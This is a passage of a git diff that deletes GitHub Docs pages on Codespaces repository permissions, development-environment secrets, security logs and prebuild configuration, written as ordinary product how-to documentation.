one now. For more information, see [AUTOTITLE](/codespaces/setting-up-your-project-for-codespaces/adding-a-dev-container-configuration). - -1. Edit the `devcontainer.json` file, adding the repository name and permissions needed to the `repositories` object: - - ```json copy - { - "customizations": { - "codespaces": { - "repositories": { - "my_org/my_repo": { - "permissions": { - "issues": "write" - } - } - } - } - } - } - ``` - - > [!NOTE] - > * You can only reference repositories that belong to the same personal account or organization as the repository you are currently working in. - > * You can use the `*` wildcard to grant permissions to multiple repositories in an organization. For example, to grant permissions to all repositories in the `my_org` organization use `my_org/*`. This syntax is only valid for codespaces. In any `devcontainer.json` files that are used for prebuilds, you must define permissions for each repository separately. For more information, see [AUTOTITLE](/codespaces/prebuilding-your-codespaces/allowing-a-prebuild-to-access-other-repositories). - - You can grant as many or as few of the following permissions for each repository listed: - * `actions` - read / write - * `checks` - read / write - * `contents` - read / write - * `deployments` - read / write - * `discussions` - read / write - * `issues` - read / write - * `packages` - read - * `pages` - read / write - * `pull_requests` - read / write - * `repository_projects` - read / write - * `statuses` - read / write - * `workflows` - write - - To set a permission for a repository in an organization, you must explicitly add that repository name in the `repositories` object. - - ```json - { - "customizations": { - "codespaces": { - "repositories": { - "my_org/my_repo": { - "permissions": { - "issues": "write" - } - } - } - } - } - } - ``` - - To set all permissions for a given repository, use `"permissions": "read-all"` or `"permissions": "write-all"` in the repository object. - - ```json - { - "customizations": { - "codespaces": { - "repositories": { - "my_org/my_repo": { - "permissions": "write-all" - } - } - } - } - } - ``` - -## Authorizing requested permissions - -If additional repository permissions are defined in the `devcontainer.json` file, you will be prompted to review and optionally authorize the permissions when you create a codespace or a prebuild configuration for this repository. When you authorize permissions for a repository, {% data variables.product.prodname_github_codespaces %} will not re-prompt you unless the set of requested permissions has changed for the repository. - -![Screenshot of the requested permissions page. Two permissions are shown as requested: read permission for metadata and write permission for issues.](/assets/images/help/codespaces/codespaces-accept-permissions.png) - -You should only authorize permissions for repositories you know and trust. If you don't trust the set of requested permissions, click **Continue without authorizing** to create the codespace with the base set of permissions. Rejecting additional permissions may impact the functionality of your project within the codespace as the codespace will only have access to the repository from which it was created. - -You can only authorize permissions that your personal account already possesses. If a codespace requests permissions for repositories that you don't currently have access to, contact an owner or admin of the repository to obtain sufficient access and then try to create a codespace again. - -## Further reading - -* [AUTOTITLE](/codespaces/setting-your-user-preferences) -* [AUTOTITLE](/codespaces/customizing-your-codespace) diff --git a/content/codespaces/managing-your-codespaces/managing-your-account-specific-secrets-for-github-codespaces.md b/content/codespaces/managing-your-codespaces/managing-your-account-specific-secrets-for-github-codespaces.md deleted file mode 100644 index 9e2b8ca2785f..000000000000 --- a/content/codespaces/managing-your-codespaces/managing-your-account-specific-secrets-for-github-codespaces.md +++ /dev/null @@ -1,103 +0,0 @@ ---- -title: Managing your account-specific secrets for GitHub Codespaces -shortTitle: Codespaces secrets -intro: 'You can store sensitive information, like tokens, that you want to access in your codespaces via environment variables.' -versions: - fpt: '*' - ghec: '*' -redirect_from: - - /codespaces/managing-your-codespaces/managing-secrets-for-your-codespaces - - /github/developing-online-with-codespaces/managing-encrypted-secrets-for-codespaces - - /codespaces/working-with-your-codespace/managing-encrypted-secrets-for-codespaces - - /codespaces/managing-your-codespaces/managing-encrypted-secrets-for-your-codespaces -type: how_to -topics: - - Codespaces - - Developer - - Security - - Secret store ---- - -## About secrets for {% data variables.product.prodname_github_codespaces %} - -You can add development environment secrets to your personal account that you want to use in your codespaces. For example, you may want to store and access the following sensitive information as secrets: - -* Access tokens to cloud services -* Service principals -* Subscription identifiers -* Credentials for a private image registry (for more information, see [AUTOTITLE](/codespaces/reference/allowing-your-codespace-to-access-a-private-registry)) - -You can choose which repositories should have access to each secret. Then, you can use the secret in any codespace you create for a repository that has access to the secret. To share a secret with a codespace created from a template, you will need to publish the codespace to a repository on {% data variables.product.prodname_dotcom %}, then give that repository access to the secret. - -{% data reusables.codespaces.secrets-on-start %} - -### Naming secrets - -{% data reusables.codespaces.secrets-naming %} For example, a secret created at the repository level must have a unique name in that repository. - -{% data reusables.codespaces.secret-precedence %} - -### Limits for secrets - -You can store up to 100 secrets for {% data variables.product.prodname_github_codespaces %}. - -Secrets are limited to 48 KB in size. - -## Adding a secret - -{% data reusables.user-settings.access_settings %} -{% data reusables.user-settings.codespaces-tab %} -1. To the right of "Codespaces secrets", click **New secret**. -1. Under "Name," type a name for your secret. -{% data reusables.user-settings.codespaces-secret-value %} -{% data reusables.user-settings.codespaces-secret-repository-access %} -1. Click **Add secret**. - -## Editing a secret - -You can update the value of an existing secret, and you can change which repositories can access a secret. - -{% data reusables.user-settings.access_settings %} -{% data reusables.user-settings.codespaces-tab %} -1. Under "Codespaces secrets," to the right of the secret you want to edit, click **Update**. -1. Under "Value," click the link "**enter a new value**." - - ![Screenshot of the "Codespaces / Update secret" page. The "enter a new value" link is highlighted with a dark orange outline.](/assets/images/help/codespaces/codespaces-secret-update-value-text.png) - -{% data reusables.user-settings.codespaces-secret-value %} -{% data reusables.user-settings.codespaces-secret-repository-access %} -1. Optionally, to remove the secret's access to a repository, deselect the repository. - - ![Screenshot showing a list of two repositories. Each has a selected checkbox.](/assets/images/help/codespaces/codespaces-secret-repository-checkboxes.png) - -1. Click **Save changes**. - -## Deleting a secret - -{% data reusables.user-settings.access_settings %} -{% data reusables.user-settings.codespaces-tab %} -1. Under "Codespaces secrets," to the right of the secret you want to delete, click **Delete**. -1. Read the warning, then click **OK**. - -## Using secrets - -A development environment secret is exported as an environment variable into the user's terminal session. - -![Screenshot of the Terminal in {% data variables.product.prodname_vscode_shortname %}. The command "echo $EXAMPLE_API_KEY" has returned "aBCdeFG1234567."](/assets/images/help/codespaces/exported-codespace-secret.png) - -You can use development environment secrets after the codespace is built and is running. For example, a secret can be used: - -* When launching an application from the integrated terminal or ssh session. -* Within a dev container lifecycle script that is run after the codespace is running. For more information about dev container lifecycle scripts, see the documentation on the Development Containers website: [Specification](https://containers.dev/implementors/json_reference/#lifecycle-scripts). - -Development environment secrets cannot be used: - -* During codespace build time (that is, within a Dockerfile or custom entry point). -* Within a dev container feature. For more information, see the `features` property in the [dev containers specification](https://containers.dev/implementors/json_reference/#general-properties) on the Development Containers website. - -## Further reading - -* [AUTOTITLE](/codespaces/managing-codespaces-for-your-organization/managing-development-environment-secrets-for-your-repository-or-organization) -* [AUTOTITLE](/codespaces/developing-in-a-codespace/creating-a-codespace-for-a-repository#recommended-secrets) -* [AUTOTITLE](/codespaces/setting-your-user-preferences) -* [AUTOTITLE](/codespaces/customizing-your-codespace) diff --git a/content/codespaces/managing-your-codespaces/reviewing-your-security-logs-for-github-codespaces.md b/content/codespaces/managing-your-codespaces/reviewing-your-security-logs-for-github-codespaces.md deleted file mode 100644 index e81964b59b4b..000000000000 --- a/content/codespaces/managing-your-codespaces/reviewing-your-security-logs-for-github-codespaces.md +++ /dev/null @@ -1,29 +0,0 @@ ---- -title: Reviewing your security logs for GitHub Codespaces -shortTitle: Security logs -intro: 'You can use the security log to review all actions related to {% data variables.product.prodname_github_codespaces %}.' -versions: - fpt: '*' - ghec: '*' -topics: - - Codespaces - - Developer - - Security -redirect_from: - - /codespaces/managing-your-codespaces/reviewing-your-security-logs-for-codespaces ---- - -## About security logs for {% data variables.product.prodname_github_codespaces %} - -When you perform an action related to {% data variables.product.prodname_github_codespaces %} in repositories owned by your personal account, you can review the actions in the security log. For information about accessing the log, see [AUTOTITLE](/authentication/keeping-your-account-and-data-secure/reviewing-your-security-log#accessing-your-security-log). - -![Screenshot of the "Security log" page for the "Octo Mona" user, showing the "Recent events" list.](/assets/images/help/codespaces/codespaces-audit-log.png) - -The security log includes details on what action occurred and when you performed it. For information about {% data variables.product.prodname_github_codespaces %} actions, see [AUTOTITLE](/authentication/keeping-your-account-and-data-secure/reviewing-your-security-log#codespaces). - -## Further reading - -* [AUTOTITLE](/codespaces/managing-codespaces-for-your-organization/reviewing-your-organizations-audit-logs-for-github-codespaces) -* [AUTOTITLE](/codespaces/troubleshooting/github-codespaces-logs) -* [AUTOTITLE](/codespaces/setting-your-user-preferences) -* [AUTOTITLE](/codespaces/customizing-your-codespace) diff --git a/content/codespaces/prebuilding-your-codespaces/about-github-codespaces-prebuilds.md b/content/codespaces/prebuilding-your-codespaces/about-github-codespaces-prebuilds.md deleted file mode 100644 index ec6a50c03575..000000000000 --- a/content/codespaces/prebuilding-your-codespaces/about-github-codespaces-prebuilds.md +++ /dev/null @@ -1,55 +0,0 @@ ---- -title: About GitHub Codespaces prebuilds -shortTitle: About prebuilds -intro: '{% data variables.product.prodname_github_codespaces %} prebuilds help to speed up the creation of new codespaces for large or complex repositories.' -versions: - fpt: '*' - ghec: '*' -topics: - - Codespaces -redirect_from: - - /codespaces/prebuilding-your-codespaces/about-codespaces-prebuilds -product: 'You create and configure prebuilds in your repository''s settings. {% data reusables.gated-features.codespaces-repo %}' ---- - -## Overview - -{% data reusables.codespaces.prebuilds-definition %} - -If it currently takes more than 2 minutes to create a codespace for a repository, you are likely to benefit from using prebuilds. This is because, with a prebuild, any source code, editor extensions, project dependencies, commands, and configurations have already been downloaded, installed, and applied before you create a codespace. - -By default, whenever you push changes to your repository, {% data variables.product.prodname_github_codespaces %} uses {% data variables.product.prodname_actions %} to automatically update your prebuilds. - -When prebuilds are available for a particular branch of a repository, a particular dev container configuration file, and for your region, you'll see the "{% octicon "zap" aria-hidden="true" %} Prebuild ready" label in the list of machine type options when you create a codespace. If a prebuild is still being created, you will see the "{% octicon "history" aria-hidden="true" %} Prebuild in progress" label. For more information, see [AUTOTITLE](/codespaces/developing-in-a-codespace/creating-a-codespace-for-a-repository#creating-a-codespace-for-a-repository). - -![Screenshot of a list of available machine types: 2, 4, 8, 16, and 32 core, all labeled "Prebuild ready."](/assets/images/help/codespaces/choose-custom-machine-type.png) - -When you create a codespace from a template on the "Your codespaces" page, {% data variables.product.prodname_dotcom %} may automatically use a prebuild to speed up creation time. For more information on templates, see [AUTOTITLE](/codespaces/developing-in-a-codespace/creating-a-codespace-from-a-template). - -> [!NOTE] -> Each prebuild that's created consumes storage space that will either incur a billable charge or, for repositories owned by your personal {% data variables.product.prodname_dotcom %} account, will use some of your monthly included storage. For more information, see [AUTOTITLE](/billing/managing-billing-for-your-products/managing-billing-for-github-codespaces/about-billing-for-github-codespaces#about-billing-for-codespaces-prebuilds). - -## The prebuild process - -To create a prebuild, you set up a prebuild configuration. When you save the configuration, a {% data variables.product.prodname_actions %} workflow runs to create each of the required prebuilds; one workflow per prebuild. Workflows also run whenever the prebuilds for your configuration need to be updated. This can happen at scheduled intervals, on pushes to a prebuild-enabled repository, or when you change the dev container configuration. For more information, see [AUTOTITLE](/codespaces/prebuilding-your-codespaces/configuring-prebuilds#configuring-prebuilds). - -When a prebuild configuration workflow runs, {% data variables.product.prodname_dotcom %} creates a temporary codespace, performing setup operations up to and including any `onCreateCommand` and `updateContentCommand` commands in the `devcontainer.json` file. No `postCreateCommand` commands are run during the creation of a prebuild. For more information about these commands, see the [`devcontainer.json` reference](https://code.visualstudio.com/docs/remote/devcontainerjson-reference#_devcontainerjson-properties) in the {% data variables.product.prodname_vscode_shortname %} documentation. A snapshot of the generated container is then taken and stored. - -As with other {% data variables.product.prodname_actions %} workflows, running a prebuild configuration workflow will either consume some of the {% data variables.product.prodname_actions %} minutes included with your account, if you have any, or it will incur charges for {% data variables.product.prodname_actions %} minutes. Storage of codespace prebuilds is billed in the same way as storage of active or stopped codespaces. For more information, see [AUTOTITLE](/billing/managing-billing-for-your-products/managing-billing-for-github-codespaces/about-billing-for-github-codespaces#about-billing-for-codespaces-prebuilds). - -When you create a codespace from a prebuild, {% data variables.product.prodname_dotcom %} downloads the existing container snapshot from storage and deploys it on a fresh virtual machine, completing the remaining commands specified in the dev container configuration. Since many operations have already been performed, such as cloning the repository, creating a codespace from a prebuild can be substantially quicker than creating one without a prebuild. This is true where the repository is large and/or `onCreateCommand` commands take a long time to run. - -## About pushing changes to prebuild-enabled branches - -By default, each push to a branch that has a prebuild configuration results in a {% data variables.product.prodname_dotcom %}-managed {% data variables.product.prodname_actions %} workflow run to update the prebuild. The prebuild workflow has a concurrency limit of one workflow run at a time for a given prebuild configuration, unless changes were made that affect the dev container configuration for the associated repository. For more information, see [AUTOTITLE](/codespaces/setting-up-your-project-for-codespaces/adding-a-dev-container-configuration/introduction-to-dev-containers). If a run is already in progress, the workflow run that was queued most recently will run next, after the current run completes. - -With the prebuild set to be updated on each push, it means that if there are very frequent pushes to your repository, prebuild updates will occur at least as often as it takes to run the prebuild workflow. That is, if your workflow run typically takes one hour to complete, prebuilds will be created for your repository roughly hourly, if the run succeeds, or more often if there were pushes that change the dev container configuration on the branch. - -For example, let's imagine 5 pushes are made, in quick succession, against a branch that has a prebuild configuration. In this situation: - -* A workflow run is started for the first push, to update the prebuild. -* If the 4 remaining pushes do not affect the dev container configuration, the workflow runs for these are queued in a "pending" state. - - If any of the remaining 4 pushes change the dev container configuration, then the service will not skip that one and will immediately run the prebuild creation workflow, updating the prebuild accordingly if it succeeds. - -* Once the first run completes, workflow runs for pushes 2, 3, and 4 will be canceled, and the last queued workflow (for push 5) will run and update the prebuild. diff --git a/content/codespaces/prebuilding-your-codespaces/allowing-a-prebuild-to-access-other-repositories.md b/content/codespaces/prebuilding-your-codespaces/allowing-a-prebuild-to-access-other-repositories.md deleted file mode 100644 index a3b30320c893..000000000000 --- a/content/codespaces/prebuilding-your-codespaces/allowing-a-prebuild-to-access-other-repositories.md +++ /dev/null @@ -1,60 +0,0 @@ ---- -title: Allowing a prebuild to access other repositories -shortTitle: Allow external repo access -intro: 'You can permit your prebuild to access other {% data variables.product.prodname_dotcom %} repositories so that it can be built successfully.' -versions: - fpt: '*' - ghec: '*' -type: how_to -topics: - - Codespaces - - Set up -permissions: People with admin access to a repository can configure prebuilds for the repository. -product: '{% data reusables.gated-features.codespaces-repo %}' ---- - -By default, the {% data variables.product.prodname_actions %} workflow for a prebuild configuration can only access its own repository contents. Your project may use additional resources, located elsewhere, to build the development environment. - -## Allowing a prebuild read access to external resources - -You can configure read access to other {% data variables.product.prodname_dotcom %} repositories, with the same repository owner, by specifying permissions in the `devcontainer.json` file used by your prebuild configuration. For more information, see [AUTOTITLE](/codespaces/managing-your-codespaces/managing-repository-access-for-your-codespaces). - -> [!NOTE] -> * You can only authorize read permissions in this way, and the owner of the target repository must be the same as the owner of the repository for which you're creating a prebuild. For example, if you're creating a prebuild configuration for the `octo-org/octocatrepository`, then you'll be able to grant read permissions for other repositories, such as `octo-org/octodemo`, if this is specified in the `devcontainer.json` file, and provided you have the permissions yourself. -> * You can't use wildcards to specify repositories. You must define permissions for each repository for which you want to grant access. - -When you create or edit a prebuild configuration for a `devcontainer.json` file that sets up read access to other repositories with the same repository owner, you'll be prompted to grant these permissions when you click **Create** or **Update**. For more information, see [AUTOTITLE](/codespaces/prebuilding-your-codespaces/configuring-prebuilds#configuring-prebuilds). - -## Allowing a prebuild write access to external resources - -If your project requires write access to resources, or if the external resources reside in a repository with a different owner than the repository for which you are creating a prebuild configuration, you can use a {% data variables.product.pat_generic %} to grant this access. - -You will need to create a new personal account and then use this account to create a {% data variables.product.pat_v1 %} with the appropriate scopes. - -1. Create a new personal account on {% data variables.product.prodname_dotcom %}. - - > [!WARNING] - > Although you can generate the {% data variables.product.pat_v1 %} using your existing personal account, we strongly recommend creating a new account with access only to the target repositories required for your scenario. This is because the access token's `repository` permission grants access to all of the repositories that the account has access to. For more information, see [AUTOTITLE](/get-started/start-your-journey/creating-an-account-on-github) and [AUTOTITLE](/actions/security-guides/security-hardening-for-github-actions#considering-cross-repository-access). - -1. Give the new account read access to the required repositories. For more information, see [AUTOTITLE](/organizations/managing-user-access-to-your-organizations-repositories/managing-repository-roles/managing-an-individuals-access-to-an-organization-repository). -1. While signed into the new account, create a {% data variables.product.pat_v1 %} with the `repo` scope. Optionally, if the prebuild will need to download packages from the {% data variables.product.company_short %} {% data variables.product.prodname_container_registry %}, also select the `read:packages` scope. For more information, see [AUTOTITLE](/authentication/keeping-your-account-and-data-secure/managing-your-personal-access-tokens). - - ![Screenshot of the "Select scopes" configuration options for a {% data variables.product.pat_v1 %}, with the "repo" and "read:packages" scopes selected.](/assets/images/help/codespaces/prebuilds-select-scopes.png) - - If the prebuild will use a package from the {% data variables.product.company_short %} {% data variables.product.prodname_container_registry %}, you will need to either grant the new account access to the package or configure the package to inherit the access permissions of the repository you are prebuilding. For more information, see [AUTOTITLE](/packages/learn-github-packages/configuring-a-packages-access-control-and-visibility). -{% ifversion ghec %} -1. Click **Configure SSO** and authorize the token for use with SAML single sign-on (SSO), so that it can access repositories that are owned by organizations with SSO enabled. For more information, see [AUTOTITLE](/authentication/authenticating-with-saml-single-sign-on/authorizing-a-personal-access-token-for-use-with-saml-single-sign-on). - - ![Screenshot of the "{% data variables.product.pat_v1_caps_plural %}" page. The "Configure SSO" button for a PAT is highlighted with a dark orange outline.](/assets/images/help/codespaces/configure-sso-for-pat.png) - -{% endif %} -1. Copy the token string. You will assign this to a {% data variables.product.prodname_codespaces %} repository secret. -1. Sign back into the account that has admin access to the repository. -1. In the repository for which you want to create {% data variables.product.prodname_github_codespaces %} prebuilds, create a new {% data variables.product.prodname_codespaces %} repository secret called `CODESPACES_PREBUILD_TOKEN`, giving it the value of the token you created and copied. For more information, see [AUTOTITLE](/codespaces/managing-codespaces-for-your-organization/managing-development-environment-secrets-for-your-repository-or-organization#adding-secrets-for-a-repository). - -The {% data variables.product.pat_generic %} will be used for all subsequent prebuilds created for your repository. Unlike other {% data variables.product.prodname_codespaces %} repository secrets, the `CODESPACES_PREBUILD_TOKEN` secret is only used for prebuilding and will not be available for use in codespaces created from your repository. - -## Further reading - -* [AUTOTITLE](/codespaces/prebuilding-your-codespaces/configuring-prebuilds) -* [AUTOTITLE](/codespaces/troubleshooting/troubleshooting-prebuilds) diff --git a/content/codespaces/prebuilding-your-codespaces/configuring-prebuilds.md b/content/codespaces/prebuilding-your-codespaces/configuring-prebuilds.md deleted file mode 100644 index 7b50704e4679..000000000000 --- a/content/codespaces/prebuilding-your-codespaces/configuring-prebuilds.md +++ /dev/null @@ -1,127 +0,0 @@ ---- -title: Configuring prebuilds -shortTitle: Configure prebuilds -intro: You can configure your project to prebuild a codespace automatically each time you push a change to your repository. -versions: - fpt: '*' - ghec: '*' -type: how_to -topics: - - Codespaces - - Set up -permissions: People with admin access to a repository can configure prebuilds for the repository. -product: '{% data reusables.gated-features.codespaces-repo %}' ---- - -You can set up a prebuild configuration for the combination of a specific branch of your repository with a specific dev container configuration file. - -Any branches created from a prebuild-enabled parent branch will typically also get prebuilds for the same dev container configuration. This is because prebuilds for child branches that use the same dev container configuration as the parent branch are, for the most part, identical, so developers can benefit from faster codespace creation times on those branches also. See [AUTOTITLE](/codespaces/setting-up-your-project-for-codespaces/adding-a-dev-container-configuration/introduction-to-dev-containers). - -Typically, when you configure prebuilds for a branch, prebuilds will be available for multiple machine types. However, if your repository is greater than 32 GB, prebuilds won't be available for 2-core and 4-core machine types, since the storage these provide is limited to 32 GB. - -## Prerequisites - -Prebuilds are created using {% data variables.product.prodname_actions %}. As a result, {% data variables.product.prodname_actions %} must be enabled for the repository for which you are configuring prebuilds. See [AUTOTITLE](/repositories/managing-your-repositorys-settings-and-features/enabling-features-for-your-repository/managing-github-actions-settings-for-a-repository). - -You can set up prebuilds in any repository owned by a personal account. The prebuild will consume storage space that will either incur a billable charge or, for repositories owned by your personal account, will use some of your monthly included storage. - -> [!NOTE] -> {% data reusables.codespaces.prebuilds-billing-for-forks %} See [AUTOTITLE](/billing/managing-billing-for-your-products/managing-billing-for-github-codespaces/about-billing-for-github-codespaces#how-billing-is-handled-for-forked-repositories). - -For repositories owned by an organization, you can set up prebuilds if the organization is on a {% data variables.product.prodname_team %} or {% data variables.product.prodname_enterprise %} plan. Additionally, you must have added a payment method and set a spending limit for {% data variables.product.prodname_github_codespaces %} on the organization account or its parent enterprise. See [AUTOTITLE](/billing/managing-billing-for-your-products/managing-billing-for-github-codespaces/managing-the-spending-limit-for-github-codespaces#managing-the-github-codespaces-spending-limit-for-your-organization-account) and [AUTOTITLE](/get-started/learning-about-github/githubs-plans). - -## Configuring prebuilds - -{% data reusables.codespaces.accessing-prebuild-configuration %} -1. In the "Prebuild configuration" section of the page, click **Set up prebuild**. - - ![Screenshot of the "Prebuild configuration" section of the "Codespaces" settings page, showing the "Set up prebuilds" button.](/assets/images/help/codespaces/prebuilds-set-up.png) - -1. Choose the branch for which you want to set up prebuilds. - - ![Screenshot of the "Configuration" settings for a prebuild with a dropdown menu listing branches to select. The "main" branch is currently selected.](/assets/images/help/codespaces/prebuilds-choose-branch.png) - - > [!NOTE] - > Any branches created from a prebuild-enabled base branch will typically also get prebuilds for the same dev container configuration. For example, if you enable prebuilds for a dev container configuration file on the default branch of the repository, branches based on the default branch will, in most cases, also get prebuilds for the same dev container configuration. - -1. Optionally, in the **Configuration file** dropdown menu that's displayed, choose the `devcontainer.json` configuration file that you want to use for your prebuilds. See [AUTOTITLE](/codespaces/setting-up-your-project-for-codespaces/adding-a-dev-container-configuration/introduction-to-dev-containers#devcontainerjson). - - ![Screenshot of the configuration file dropdown menu. Four configuration files are listed, with ".devcontainer/devcontainer.json" currently selected.](/assets/images/help/codespaces/prebuilds-choose-configfile.png) - -1. Choose how you want to automatically trigger prebuild updates. - - * **Every push** (the default setting) - With this setting, prebuilds will be updated on every push made to the given branch. This will ensure that codespaces generated from a prebuild always contain the latest codespace configuration, including any recently added or updated dependencies. - - * **On configuration change** - With this setting, prebuilds will be updated every time any of the following files is changed: - * `.devcontainer/devcontainer.json` - - > [!NOTE] - > Prebuild updates are not triggered by changes to `devcontainer.json` files within subdirectories of `.devcontainer`. - - * The Dockerfile referenced in the `build.dockerfile` property of the `.devcontainer/devcontainer.json` file. - - This setting ensures that changes to the dev container configuration files for the repository are used when a codespace is generated from a prebuild. The {% data variables.product.prodname_actions %} workflow that updates the prebuilds will run less often, so this option will use fewer {% data variables.product.prodname_actions %} minutes. However, this option will not guarantee that codespaces always include recently added or updated dependencies, so these may have to be added or updated manually after a codespace has been created. - - * **Scheduled** - With this setting, you can have your prebuilds updated on a custom schedule that's defined by you. This can reduce consumption of {% data variables.product.prodname_actions %} minutes, however, with this option, codespaces may be created that do not use the latest dev container configuration changes. - - ![Screenshot of the "Prebuild triggers" settings. The "Scheduled" option is selected and set to "Every day" at "1pm" and "3:30pm."](/assets/images/help/codespaces/prebuilds-triggers.png) - -1. Optionally, select **Reduce prebuild available to only specific regions** to create prebuilds only in specified regions. Select the regions in which you want prebuilds to be available. - - By default, prebuilds are created in all of the available regions, incurring storage charges per prebuild. - - ![Screenshot of the "Region availability" settings. "Reduce prebuild available to only specific regions" is selected with two regions selected.](/assets/images/help/codespaces/prebuilds-regions.png) - - > [!NOTE] - > * The prebuild in each region incurs individual storage charges. You should, therefore, only enable prebuilds for regions in which you know they'll be used. See [AUTOTITLE](/billing/managing-billing-for-your-products/managing-billing-for-github-codespaces/about-billing-for-github-codespaces#about-billing-for-codespaces-prebuilds). - > * Developers can set their default region for {% data variables.product.prodname_github_codespaces %}, which can allow you to enable prebuilds for fewer regions. See [AUTOTITLE](/codespaces/setting-your-user-preferences/setting-your-default-region-for-github-codespaces). - -1. Optionally, under **Template history**, set the number of prebuild versions to be retained. You can input any number between 1 and 5. The default number of saved versions is 2, which means that only the latest prebuild and the previous version are saved. - - ![Screenshot of the "Template history" setting. It is set to 2 versions.](/assets/images/help/codespaces/prebuilds-template-history-setting.png) - - Depending on your prebuild trigger settings, your prebuild could change with each push or on each dev container configuration change. Retaining older versions of prebuilds enables you to create a prebuild from an older commit with a different dev container configuration than the current prebuild. This setting allows you to set the number of retained versions to a level that is appropriate for your needs. - - If you set the number of prebuild versions to save to 1, {% data variables.product.prodname_github_codespaces %} will only save the latest version of the prebuild and will delete the older version each time the template is updated. This means you will not get a prebuilt codespace if you go back to an older dev container configuration. - - There is a storage cost associated with each prebuild version that's retained. For example, if you are generating prebuilds in 4 regions and retaining 2 versions, you will be charged for storage of up to 8 prebuilds. See [AUTOTITLE](/billing/managing-billing-for-your-products/managing-billing-for-github-codespaces/about-billing-for-github-codespaces#codespaces-pricing). - -1. Optionally, add users or teams to notify when the prebuild workflow run fails for this configuration. You can begin typing a username, team name, or full name, then click the name once it appears to add them to the list. The users or teams you add will receive an email when prebuild failures occur, containing a link to the workflow run logs to help with further investigation. - - ![Screenshot of the "Failure notifications" setting. The team named "octocat-team" has been added.](/assets/images/help/codespaces/prebuilds-failure-notification-setting.png) - - > [!NOTE] - > People will only receive notifications of failed prebuilds if they have enabled notifications for failed Actions workflows in their personal settings. See [AUTOTITLE](/account-and-profile/managing-subscriptions-and-notifications-on-github/setting-up-notifications/configuring-notifications#github-actions-notification-options). - -1. Optionally, at the bottom of the page, click **Show advanced options**. - - ![Screenshot of the bottom of the prebuilds configuration page. The link "Show advanced options" is highlighted with a dark orange outline.](/assets/images/help/codespaces/show-advanced-options.png) - - In the "Advanced options" section, if you select **Disable prebuild optimization**, codespaces will be created without a prebuild if the latest prebuild workflow has failed or is currently running. See [AUTOTITLE](/codespaces/troubleshooting/troubleshooting-prebuilds#preventing-out-of-date-prebuilds-being-used). - -1. Click **Create**. - - {% data reusables.codespaces.prebuilds-permission-authorization %} - -After you create a prebuild configuration it is listed on the {% data variables.product.prodname_github_codespaces %} page of your repository settings. A {% data variables.product.prodname_actions %} workflow is queued and then run to create prebuilds in the regions you specified, based on the branch and dev container configuration file you selected. - -![Screenshot of the list of prebuild configurations. One prebuild is listed, labeled "Currently running." To the right of it is a "See output" button.](/assets/images/help/codespaces/prebuild-configs-list.png) - -For information about editing and deleting prebuild configurations, see [AUTOTITLE](/codespaces/prebuilding-your-codespaces/managing-prebuilds). - -## Configuring environment variables - -To allow the prebuild process to access environment variables required to create your development environment, you can set these either as {% data variables.product.prodname_codespaces %} repository secrets or as {% data variables.product.prodname_codespaces %} organization secrets. Secrets that you create in this way will be accessible by anyone who creates a codespace from this repository. See [AUTOTITLE](/codespaces/managing-codespaces-for-your-organization/managing-development-environment-secrets-for-your-repository-or-organization#adding-secrets-for-a-repository). - -Prebuilds cannot use any user-level secrets while building your environment, because these are not available until after the codespace has been created. - -## Configuring time-consuming tasks to be included in the prebuild - -You can use the `onCreateCommand` and `updateContentCommand` commands in your `devcontainer.json` to include time-consuming processes as part of the prebuild creation. See the {% data variables.product.prodname_vscode %} documentation, [devcontainer.json reference](https://code.visualstudio.com/docs/remote/devcontainerjson-reference#_lifecycle-scripts). - -`onCreateCommand` is run only once, when the prebuild is created, whereas `updateContentCommand` is run at creation of the prebuild and at subsequent updates to it. Incremental builds should be included in `updateContentCommand` since they represent the source of your project and need to be included for every prebuild update. - -## Further reading - -* [AUTOTITLE](/codespaces/prebuilding-your-codespaces/allowing-a-prebuild-to-access-other-repositories) -* [AUTOTITLE](/codespaces/troubleshooting/troubleshooting-prebuilds) diff --git a/content/codespaces/prebuilding-your-codespaces/index.md b/content/codespaces/prebuilding-your-codespaces/index.md deleted file mode 100644 index 1802706aca86..000000000000 --- a/content/codespaces/prebuilding-your-codespaces/index.md +++ /dev/null @@ -1,19 +0,0 @@ ---- -title: Prebuilding your codespaces -intro: 'To speed up codespace creation, you can configure your project to prebuild codespaces for specific branches in specific regions.' -versions: - fpt: '*' - ghec: '*' -topics: - - Codespaces -redirect_from: - - /codespaces/customizing-your-codespace/prebuilding-codespaces-for-your-project -children: - - /about-github-codespaces-prebuilds - - /configuring-prebuilds - - /allowing-a-prebuild-to-access-other-repositories - - /managing-prebuilds - - /testing-dev-container-changes -product: 'You create and configure prebuilds in your repository''s settings. {% data reusables.gated-features.codespaces-repo %}' ---- - diff --git a/content/codespaces/prebuilding-your-codespaces/managing-prebuilds.md b/content/codespaces/prebuilding-your-codespaces/managing-prebuilds.md deleted file mode 100644 index d2ca26aec6c9..000000000000 --- a/content/codespaces/prebuilding-your-codespaces/managing-prebuilds.md +++ /dev/null @@ -1,103 +0,0 @@ ---- -title: Managing prebuilds -shortTitle: Manage prebuilds -intro: 'You can review, modify, and delete the prebuild configurations for your repository.' -versions: - fpt: '*' - ghec: '*' -type: how_to -topics: - - Codespaces -product: '{% data reusables.gated-features.codespaces-repo %}' ---- - -## About managing prebuilds - -The prebuilds that you configure for a repository are created and updated using a {% data variables.product.prodname_actions %} workflow, managed by the {% data variables.product.prodname_github_codespaces %} service. - -Depending on the settings in a prebuild configuration, the workflow to update the prebuild may be triggered by these events: - -* Creating or updating the prebuild configuration -* Pushing a commit or a pull request to a branch that's configured to have prebuilds -* Changing any of the dev container configuration files -* A schedule that you've defined in the prebuild configuration -* Manually triggering the workflow - -The settings in the prebuild configuration determine which events automatically trigger an update of the prebuild. See [AUTOTITLE](/codespaces/prebuilding-your-codespaces/configuring-prebuilds#configuring-prebuilds). - -People with admin access to a repository can check the progress of prebuilds, edit, and delete prebuild configurations. - -To locate all repositories that are hosting a prebuild configuration, you must obtain a copy of your usage report by following the steps for [AUTOTITLE](/billing/managing-billing-for-your-products/managing-billing-for-github-codespaces/viewing-your-github-codespaces-usage). - -## Viewing the progress of prebuilds - -You can view the current status of the latest workflow run for each prebuild configuration you've set up on the {% data variables.product.prodname_github_codespaces %} page of your repository settings. For example, "Currently running" or "Last run 1 hour ago." - -To see the log output for the latest prebuild workflow run, click **See output**. - -![Screenshot of the "Prebuild configuration" page. Two prebuild configurations are listed. The "See output" button for one configuration is highlighted.](/assets/images/help/codespaces/prebuilds-see-output.png) - -This displays the output of the most recent run of the workflow in the **Actions** tab. - -![Screenshot of the prebuild workflow output in the "Actions" tab of {% data variables.product.github 